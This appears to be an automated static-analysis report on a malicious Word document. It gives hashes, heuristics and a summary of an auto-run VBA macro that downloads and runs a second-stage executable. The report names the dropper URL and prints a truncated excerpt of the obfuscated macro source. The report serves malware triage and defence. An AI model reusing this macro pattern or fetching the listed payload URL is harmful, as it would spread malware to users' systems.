Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f723224df0123a79…

MALICIOUS

Office (OOXML)

475.6 KB Created: 2018-11-08 13:47:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-12
MD5: 4e359335171d26512ecc942c7a66a62d SHA-1: 35f2c671f8b9421bc40ca4891657cd2c2578419b SHA-256: f723224df0123a7926778542a294db3b663acae481a6d73ff4ee53a28af01e1a
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This OOXML document contains a VBA macro that is automatically executed upon opening, as indicated by the Document_Open macro firing. The macro utilizes the Shell() function in an obfuscated manner to download and execute a second-stage payload. The presence of a Document_Open macro and the use of Shell() strongly suggest a malicious intent to compromise the user's system.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://updateadovesettings.io/d0bfl465.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 35379 bytes
SHA-256: 8d3fe9ea5540f7ccb3c5641aed81d0e795fdfa0e453b3c28bcccb4e93693eb04
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const ikTkNBQiYvecOiZLOXbMsnTWAAKaqMncGOLEYP = 673
Const VrdthWsRJqYBxLL3638 = 5462513
Const NEqXCAmyYoNFaZkaW9472054 = 44


#If VBA7 Then
Private Declare PtrSafe Function cXDTqcWJAjkyzNMWZrwnYxUNeumIDhnsTeqFJRvCeWts Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function qsCUejGXfsjDhJwZgbCUrTGOMloZCRGnuGUMUHSwjRmQ Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare PtrSafe Function EAAhTwWDPJumpiKtMvXddLcXDTqcWJAjkyzNMWZrwnYx Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function LnGpzDHXgkDfueHXURYwEFBYLmrPGgXLnFattSGfzkOR44 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare PtrSafe Function LnGpzDHXgkDfueHXURYwEF735 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare PtrSafe Function LnGpzDHXgkDfueHXURYwEFjUtslSFfKIqWNavdfCgaTl Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function cXDTqcWJAjkyzNMWZrwnYxUNeumIDhnsTeqFJRvCeWts Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function qsCUejGXfsjDhJwZgbCUrTGOMloZCRGnuGUMUHSwjRmQ Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare Function EAAhTwWDPJumpiKtMvXddLcXDTqcWJAjkyzNMWZrwnYx Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function LnGpzDHXgkDfueHXURYwEFBYLmrPGgXLnFattSGfzkOR44 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare Function LnGpzDHXgkDfueHXURYwEF735 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function LnGpzDHXgkDfueHXURYwEFjUtslSFfKIqWNavdfCgaTl Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#End If


Private Const uQEBKwIxPiEFOWsSCPyyuD = 6
Const jFxfRwiytkxgvOzuLEAETPNEAgtYczbk054817861963 = 6
Private Const PcHUTtqGmnENkNAHJWVVzVEeVsIm673 = 69
Const UNeumIDhnsTeqFJRvCeWts084 = 0
Private Const GOMloZCRGnuGUMUHSwjRmQ82000332006 = 5462513

Const IfjDbikmIxGBkjjBfFEFujiQVxOdHqxEFTzWveQfkQx = 262011
Const HrkgFcNAlQdBBwHQyhdHRMgbl5975 = 845957
Const eboJAEWjXrTucIZHMpXihntPG200 = 53


#If VBA7 Then
Private Declare PtrSafe Function XOHRKNEvBGhjfvnSuZJaHAqWiySLOeUGdInRGXZWTi Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function HptdxqXCmLbLRvirXkalYaXdAWMccVBGSpIBdGVq Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare PtrSafe Function WkLGLonpuKdxXMwuxsyyXOHRKNEvBGhjfvnSuZJaHA Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function RYKERUmbkQCgHKDGpHoSqjYNUiuQBiiqomqyUSVz53 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare PtrSafe Function RYKERUmbkQCgHKDGpHoS689 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare PtrSafe Function RYKERUmbkQCgHKDGpHoSGolGXkSwWpIrzlQzEaAZ Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function XOHRKNEvBGhjfvnSuZJaHAqWiySLOeUGdInRGXZWTi Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function HptdxqXCmLbLRvirXkalYaXdAWMccVBGSpIBdGVq Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As L
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 71680 bytes
SHA-256: ad5bd3267c78fe1699f88d82df7d2f0d99e081d9f82d0dfadb69216250eebf5e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 8 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.